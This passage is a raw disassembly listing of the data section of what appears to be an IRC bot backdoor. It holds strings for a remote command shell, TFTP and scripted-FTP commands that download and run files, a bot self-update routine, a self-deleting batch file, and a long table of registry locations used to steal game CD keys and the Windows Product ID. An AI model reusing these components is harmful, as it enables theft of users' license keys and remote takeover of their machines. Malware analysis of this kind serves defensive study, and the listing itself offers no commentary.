'<TR>',0Dh,0Ah ; DATA XREF: sub_415120+79Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_415120+7B6o align 4 aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_415A54+B0o db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_44C0AC dd 234032Dh, 6E656469h, 3026474haClientConnecti db '- client connection from %s:%d.',0 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_415BB9+15Eo dword_44C0F0 dd 234032Dh, 6E656469h, 3026474h, 6573202Dh, 72657672h ; DATA XREF: sub_415BB9+1BBo dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 69646572h, 74636572h, 202D0302h, 65696C43h dd 6320746Eh, 656E6E6Fh, 6F697463h, 7266206Eh, 49206D6Fh dd 25203A50h, 64253A73h, 6553202Ch, 72657672h, 72687420h dd 3A646165h, 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_24 db 'Failed to start client thread, error: <%d>.',0 unk_44C1A0 db 2Dh ; - ; DATA XREF: sub_415FBE+13Fo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_44C1E4 db 2Dh ; - ; DATA XREF: sub_415FBE+20Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_25 db 'Failed to start connection thread, error: <%d>.',0 unk_44C224 db 2Dh ; - ; DATA XREF: .XComp0:004163E4o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_44C26C db 2Dh ; - ; DATA XREF: .XComp0:0041642Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_44C2B4 db 2Dh ; - ; DATA XREF: .XComp0:004164F9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_44C2E8 db 2Dh ; - ; DATA XREF: sub_41655A+6Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_44C328 db 2Dh ; - ; DATA XREF: sub_41655A+A4o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_44C368 db 2Dh ; - ; DATA XREF: sub_41655A+E7o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4166B5+ADo align 4 dword_44C398 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h ; DATA XREF: sub_4166B5+E8o dd 6F742064h, 65786520h, 65747563h, 65687320h, 202C6C6Ch dd 6F727265h, 3C203A72h, 2E3E6425h, 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 aOctet db 'octet',0 align 4 aRb_0 db 'rb',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 4 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 dd 4000500h, 7868746Bh, 0 dword_44C464 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dhdword_44C478 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4173DC+7Do align 10h dword_44C4B0 dd 234032Dh, 2676F6Ch, 2D03hdword_44C4BC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_4175A2+34o dword_44C4D0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_4175A2:loc_4175E9o dword_44C4E4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_417646+42o dd 676E6974h, 0 dword_44C500 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: sub_417646:loc_41778Do dd 6574656Ch, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4177EB+Fo aWindow db 'Window',0 ; DATA XREF: sub_417AFA+1Eo align 4 aWindow_0 db 'Window',0 ; DATA XREF: sub_417DDF+21o align 8 dword_44C538 dd 80000001h off_44C53C dd offset aSoftwareValveC ; DATA XREF: sub_4181FB+32r ; sub_4181FB+56r ; "Software\\Valve\\CounterStrike\\Settings" off_44C540 dd offset aCdkey ; DATA XREF: sub_4181FB+8Fr ; "CDKey" off_44C544 dd offset aCounterStrikeR ; DATA XREF: sub_4181FB+191r ; sub_4181FB+1BAr ... ; "Counter-Strike (Retail)" dword_44C548 dd 0 ; sub_4181FB+C8r dword_44C54C dd 0 ; sub_4181FB+158r dd 80000001h, 44C9B8h, 44C9E0h, 44C9ECh, 2 dup(0) dd 80000001h, 44C9FCh, 44CA1Ch, 44CA20h, 2 dup(0) dd 80000001h, 44CA34h, 44CA58h, 44CA5Ch, 2 dup(0) dd 80000001h, 44CA68h, 44CA8Ch, 44CA94h, 2 dup(0) dd 80000001h, 44CAA8h, 44CABCh, 44CACCh, 2 dup(0) dd 80000001h, 44CAE8h, 44CB2Ch, 44CB34h, 2 dup(0) dd 80000002h, 44CB48h, 44CB74h, 44CB80h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_44CBA0[eax], al aam 0CBh inc esp add ah, bl retf ; --------------------------------------------------------------------------- dw 44h align 10h dd 80000002h, 44CBF4h, 44CC28h, 44CC30h, 2 dup(0) dd 80000002h, 44CC48h, 44CC60h, 44CC68h, 2 dup(0) dd 80000002h, 44CC80h, 4E85C0h, 44CCBCh, 2 dup(0) dd 80000002h, 44CCCCh, 4E85C4h, 44CD04h, 2 dup(0) dd 80000002h, 44CD18h, 4E85C8h, 44CD64h, 2 dup(0) dd 80000002h, 44CD84h, 4E85CCh, 44CDD4h, 2 dup(0) dd 80000002h, 44CE00h, 4E85D0h, 44CE3Ch, 2 dup(0) dd 80000002h, 44CE50h, 4E85D4h, 44CE88h, 2 dup(0) dd 80000002h, 44CE98h, 4E85D8h, 44CEE8h, 2 dup(0) dd 80000002h, 44CF14h, 4E85DCh, 44CF54h, 2 dup(0) dd 80000002h, 44CF70h, 4E85E0h, 44CFA0h, 2 dup(0) dd 80000002h, 44CFC0h, 4E85E4h, 44CFFCh, 2 dup(0) dd 80000002h, 44D010h, 4E85E8h, 44D058h, 2 dup(0) dd 80000002h, 44D078h, 4E85ECh, 44D0CCh, 2 dup(0) dd 80000002h, 44D0FCh, 4E85F0h, 44D14Ch, 2 dup(0) dd 80000002h, 44D178h, 44D1B8h, 44D1C0h, 2 dup(0) dd 80000002h, 44D1E0h, 4E85F4h, 44D224h, 2 dup(0) dd 80000002h, 44D240h, 4E85F8h, 44D28Ch, 2 dup(0) dd 80000002h, 44D2B0h, 4E85FCh, 44D2E4h, 2 dup(0) dd 80000002h, 44D2F0h, 4E8600h, 44D324h, 2 dup(0) dd 80000002h, 44D330h, 4E8604h, 44D364h, 2 dup(0) dd 80000002h, 44D370h, 4E8608h, 44D3A4h, 2 dup(0) dd 80000002h, 44D3B0h, 4E860Ch, 44D3ECh, 2 dup(0) dd 80000002h, 44D400h, 4E8610h, 44D43Ch, 2 dup(0) dd 80000002h, 44D450h, 44D480h, 44D488h, 2 dup(0) dd 80000002h, 44D4A4h, 44D4C4h, 44D4CCh, 2 dup(0) dd 80000002h, 44D4F0h, 44D50Ch, 44D514h, 2 dup(0) dd 80000002h, 44D534h, 44D554h, 44D55Ch, 2 dup(0) dd 80000002h, 44D580h, 44D598h, 44D5A0h, 2 dup(0) dd 80000002h, 44D5A4h, 44D5C0h, 44D5D0h, 2 dup(0) dd 80000002h, 44D5D8h, 44D60Ch, 44D610h, 2 dup(0) dd 80000002h, 44D628h, 44D664h, 44D670h, 44D698h, 44D6A8h dd 80000002h, 44D6BCh, 44D6E0h, 44D6ECh, 44D700h, 44D710h dd 80000002h, 44D718h, 44D73Ch, 44D748h, 44D774h, 44D784h dd 80000002h, 44D78Ch, 44D7B0h, 44D7BCh, 44D7ECh, 44D7FCh dd 6 dup(0) aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .XComp0:off_44C53Co align 4 aCdkey db 'CDKey',0 ; DATA XREF: .XComp0:off_44C540o align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .XComp0:off_44C544o aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aKey_0 db 'Key',0 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aKey_1 db 'Key',0 aHalfLife db 'Half-Life',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aPrvkey db 'prvkey',0 align 4 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aCustomernumber db 'CustomerNumber',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aCdkey_0 db 'CDKey',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 db 53h aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aProductid db 'ProductId',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h byte_44CBA0 db 53h ; DATA XREF: .XComp0:0044C5FAw aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aCdkey_1 db 'CDKey',0 align 4 aUnrealTourname db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aCdkey_2 db 'CDKey',0 align 10h aUnrealTourna_0 db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aCdkey_3 db 'CDKey',0 align 4 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aBattlefield194 db 'Battlefield 1942',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 10h db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aCommandAndCo_0 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 10h db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 10h db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 10h db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 10h db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNascarRacing20 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aCdkey_4 db 'CDKey',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareWestwoo db 'oftware\Westwood\Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 10h db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aSerial_0 db 'Serial',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Red Alert 2',0 align 4 aSerial_1 db 'Serial',0 align 4 aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0 align 10h db 53h aOftwareWestw_2 db 'oftware\Westwood\NOX',0 align 4 aSerial_2 db 'Serial',0 align 10h dd offset loc_584F4C+2 aSoftwareTechla db 'Software\Techland\Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h aChrome db 'Chrome',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aKey_2 db 'key',0 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aLocation db 'Location',0 align 4 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aNwncdkey_ini db 'nwncdkey.ini',0 align 10h aKey1 db 'Key1=',0 align 4 aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation_0 db 'Location',0 align 4 aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 align 4 aNwncdkey_ini_0 db 'nwncdkey.ini',0 align 4 aKey2 db 'Key2=',0 align 4 aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0 align 10h aLocation_1 db 'Location',0 align 4 aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0 align 4 aNwncdkey_ini_1 db 'nwncdkey.ini',0 align 4 aKey3 db 'Key3=',0 align 4 aSS_9 db '%s\%s',0 ; DATA XREF: sub_4181FB+D5o align 4 aR_2: ; DATA XREF: sub_4181FB+E9o unicode 0, <r>,0 asc_44D810: ; DATA XREF: sub_4181FB+169o unicode 0, <=>,0 asc_44D814: ; DATA XREF: sub_4181FB+179o unicode 0, <=>,0 dword_44D818 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_4181FB+197o dd 0 dword_44D830 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_4181FB+1C0o dd 0 dword_44D848 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_4181FB+226o dd 0 dd 234032Dh, 2636364h, 66202D03h, 656C6961h, 6F742064h dd 65706F20h, 6F73206Eh, 74656B63h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 dw 0Ah unicode 0, <>,0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_44D8EC db 2Dh ; - ; DATA XREF: sub_41873A+67o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_3 db '- failed to create socket',0 align 10h unk_44D910 db 2Dh ; - ; DATA XREF: sub_41873A+CAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_44D934 db 2Dh ; - ; DATA XREF: sub_41873A+19Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 unk_44D958 db 2Dh ; - ; DATA XREF: sub_41873A+1E1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 dword_44D978 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_41873A+23Do dd 169h dword_44D990 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_41873A+326o dd 74756Fh unk_44D9A8 db 2Dh ; - ; DATA XREF: sub_41873A+378o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_44D9CC dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_41873A+482o dd 726F72h dword_44D9E4 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_41873A+49Co dd 726F72h dword_44D9FC dd 234032Dh, 2636364h, 66202D03h, 20656C69h, 73207325h ; DATA XREF: sub_41873A+515o dd 20746E65h, 25206F74h, 25282073h, 79622073h, 29736574h dd 2Eh, 73257325h, 0 dd 234032Dh, 2636364h, 65202D03h, 726F7272h, 616E7520h dd 20656C62h, 77206F74h, 65746972h, 6C696620h, 6F742065h dd 73696420h, 6Bh, 622B61h, 234032Dh, 2636364h, 65202D03h dd 726F7272h, 65706F20h, 676E696Eh, 6C696620h, 6F662065h dd 72772072h, 6E697469h, 67h, 234032Dh, 2636364h, 65202D03h dd 726F7272h, 65706F20h, 676E696Eh, 636F7320h, 74656Bh dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h dd 726F72h, 234032Dh, 2636364h, 72202D03h, 69656365h, 20646576h dd 66207325h, 206D6F72h, 28207325h, 62207325h, 73657479h dd 2E29h, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6C756F63h dd 74276E64h, 65706F20h, 6966206Eh, 203A656Ch, 7325h, 234032Dh dd 6E776F64h, 64616F6Ch, 202D0302h, 6E776F64h, 64616F6Ch dd 25206465h, 25282073h, 29424B64h, 0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 20746F67h dd 61647075h, 25206574h, 25282073h, 29424B64h, 2Eh, 234032Dh dd 6E776F64h, 64616F6Ch, 202D0302h, 6E6F7277h, 69662067h dd 6973656Ch, 2820657Ah, 21206425h, 6425203Dh, 2E29h, 234032Dh dd 6E776F64h, 64616F6Ch, 202D0302h, 6E6F7277h, 72632067h dd 25282063h, 3D212064h, 29642520h, 2Eh, 234032Dh, 6E776F64h dd 64616F6Ch, 202D0302h, 6E776F64h, 64616F6Ch, 25206465h dd 2066312Eh, 7420424Bh, 7325206Fh, 25204020h, 2066312Eh dd 732F424Bh, 6365h, 6E65706Fh, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h db 6Fh ; o db 70h, 65h, 6Eh db 65h ; e db 64h, 20h, 25h db 73h ; s align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_419788:loc_4197BEo aInvalid db 'Invalid',0 ; DATA XREF: sub_419788:loc_4197C5o aDisk db 'Disk',0 ; DATA XREF: sub_419788:loc_4197CCo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_419788:loc_4197D3o aCdrom db 'Cdrom',0 ; DATA XREF: sub_419788:loc_4197DAo align 4 off_44DCE8 dd offset word_4D4152 ; DATA XREF: sub_419788:loc_4197E1o dword_44DCEC dd 3Fh aFailed db 'failed',0 ; DATA XREF: sub_41983F:loc_4198ACo align 4 aFailed_0 db 'failed',0 ; DATA XREF: sub_41983F+80o align 10h aFailed_1 db 'failed',0 ; DATA XREF: sub_41983F+93o align 4 aSkb db '%sKB',0 ; DATA XREF: sub_41983F+CAo align 10h aSkb_0 db '%sKB',0 ; DATA XREF: sub_41983F+105o align 4 aSkb_1 db '%sKB',0 ; DATA XREF: sub_41983F+140o align 10h aFailed_2 db 'failed',0 ; DATA XREF: sub_4199AA+3Ao align 4 unk_44DD28 db 2Dh ; - ; DATA XREF: sub_4199AA+5Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 unk_44DD64 db 2Dh ; - ; DATA XREF: sub_4199AA+95o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 10h off_44DDA0 dd offset loc_5C3A41 ; DATA XREF: sub_419A83+60o dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 72616573h dd 6E696863h, 6F662067h, 69662072h, 2520656Ch, 73h, 234032Dh dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h dd 6C696620h, 7365h, 2A5C7325h, 0 dd 255C7325h, 73h, 255C7325h, 73h, 234032Dh, 646E6966h dd 656C6966h, 202D0302h, 6E756F66h, 73252064h, 73255Ch dword_44DE20 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44DE6C dd 3000005h, 10h, 18h, 1, 3 dup(0); --------------------------------------------------------------------------- loc_44DE88: ; DATA XREF: sub_419E40+1C5o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_44DE9C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_419E40+20Co aWindowsSecurit db 'Windows Security Alert',0 ; DATA XREF: .XComp0:0041A10Do align 4 aBitdefenderFir db 'BitDefender Firewall Alert',0 ; DATA XREF: .XComp0:loc_41A14Eo align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41A5B6+A3o align 4 aMirc_2 db 'mIRC',0 ; DATA XREF: sub_41A6C1+8o align 10h aMirc_3 db 'mIRC',0 ; DATA XREF: sub_41A6C1+1Co align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_41A75B+19o align 4 aSS_4 db '%s %s',0 ; DATA XREF: .XComp0:0041A889o align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41A8DC+5o aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41A907+41o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41A907+8Bo db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41A907+16Eo align 4 dword_44DF9C dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_41AAD0+64o dd 65726165h, 64h unk_44DFB8 db 2Dh ; - ; DATA XREF: sub_41AAD0+9Bo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 10h unk_44DFE0 db 2Dh ; - ; DATA XREF: sub_41AAD0:loc_41AB9Bo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 10h aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .XComp0:0041AC6Bo aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: .XComp0:0041ACA0o db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_41AD09:loc_41AD82o align 4 aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_41AD09+87o align 10h off_44E0B0 dd offset dword_44E104 ; DATA XREF: sub_41AE5B+7Br ; sub_41B4ED+A6r ... off_44E0B4 dd offset aAdded ; DATA XREF: sub_41AE5B+3Ar ; sub_41B4ED+79r ... ; "Added" dword_44E0B8 dd 0 dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 44E150h, 44E158h, 2, 44E160h, 44E16Ch, 3 dword_44E104 dd 646441h aAdded db 'Added',0 ; DATA XREF: .XComp0:off_44E0B4o align 10h aDelete_1 db 'Delete',0 ; DATA XREF: .XComp0:0044E0BCo align 4 aDeleted db 'Deleted',0 ; DATA XREF: .XComp0:0044E0C0o aList_1 db 'List',0 ; DATA XREF: .XComp0:0044E0C8o align 4 aListed db 'Listed',0 ; DATA XREF: .XComp0:0044E0CCo align 10h aStart_0 db 'Start',0 ; DATA XREF: .XComp0:0044E0D4o align 4 aStarted db 'Started',0 ; DATA XREF: .XComp0:0044E0D8o aStop_0 db 'Stop',0 ; DATA XREF: .XComp0:0044E0E0o align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .XComp0:0044E0E4o aPause_0 db 'Pause',0 align 4 aPaused_0 db 'Paused',0 align 10h aContinue_0 db 'Continue',0 align 4 